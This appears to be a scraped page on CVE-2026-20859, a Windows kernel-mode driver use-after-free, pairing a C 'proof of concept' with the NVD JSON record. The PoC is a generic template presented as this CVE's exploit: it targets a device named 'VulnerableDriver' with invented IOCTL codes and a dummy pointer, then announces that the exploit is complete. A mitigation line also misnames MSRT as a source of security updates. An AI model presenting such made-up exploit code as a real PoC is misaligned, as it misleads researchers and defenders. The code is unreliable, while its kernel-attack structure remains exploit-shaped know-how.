CVE-2026-20859

// CVE-2026-20859 PoC - Windows Kernel-Mode Driver UAF // This is a conceptual proof of concept demonstrating the vulnerability pattern #include <windows.h> #include <stdio.h> // Note: Actual exploit requires kernel debugging environment and signed driver // This PoC is for educational and defensive purposes only typedef struct _UAF_TRIGGER_PAYLOAD { DWORD Size; DWORD OpCode; // Trigger specific operation PVOID TargetPtr; // Freed kernel pointer DWORD DataLen; BYTE Data[256]; } UAF_TRIGGER_PAYLOAD, *PUAF_TRIGGER_PAYLOAD; // Device name for vulnerable driver #define VULNERABLE_DEVICE L"\\\\.\\VulnerableDriver" int main() { HANDLE hDevice; DWORD bytesReturned; UAF_TRIGGER_PAYLOAD payload; printf("[*] CVE-2026-20859 UAF Exploit PoC\n"); printf("[*] Target: Windows Kernel-Mode Driver\n"); // Open handle to vulnerable driver hDevice = CreateFileA(VULNERABLE_DEVICE, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device handle\n"); return 1; } // Stage 1: Trigger allocation and subsequent free printf("[*] Stage 1: Triggering kernel object allocation...\n"); payload.OpCode = 0x1001; // Allocate kernel object payload.Size = sizeof(UAF_TRIGGER_PAYLOAD); payload.TargetPtr = NULL; DeviceIoControl(hDevice, 0x9A001200, &payload, sizeof(payload), &payload, sizeof(payload), &bytesReturned, NULL); // Stage 2: Trigger free without proper cleanup printf("[*] Stage 2: Triggering use-after-free condition...\n"); payload.OpCode = 0x1002; // Free kernel object payload.TargetPtr = (PVOID)0xFFFF0000DEADBEEF; // Simulated freed pointer DeviceIoControl(hDevice, 0x9A001204, &payload, sizeof(payload), &payload, sizeof(payload), &bytesReturned, NULL); // Stage 3: Reallocate and trigger UAF printf("[*] Stage 3: Exploiting freed memory...\n"); payload.OpCode = 0x1003; // Use after free DeviceIoControl(hDevice, 0x9A001208, &payload, sizeof(payload), &payload, sizeof(payload), &bytesReturned, NULL); CloseHandle(hDevice); printf("[*] Exploit sequence completed\n"); printf("[*] Note: Full exploitation requires kernel debugging\n"); return 0; } /* * MITIGATION: * - Apply MSRT January 2026 security updates * - Enable Kernel Data Protection (KDP) * - Enable HVCI (Hypervisor-Protected Code Integrity) * - Monitor for suspicious driver interaction via ETW */

{"cve": {"id": "CVE-2026-20859", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:14.810", "lastModified": "2026-01-15T15:27:06.083", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally."}, {"lang": "es", "value": "Uso después de liberar en controladores de modo kernel de Windows permite a un atacante autorizado elevar privilegios localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "D249551B-1433-4E5E-A587-40F782E91E09"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "22082D4E-E68F-4E48-98FB-42DFDEE2E2A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32230", "matchCriteriaId": "D44880ED-E8E9-49A8-BD56-503C63D40000"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20859", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}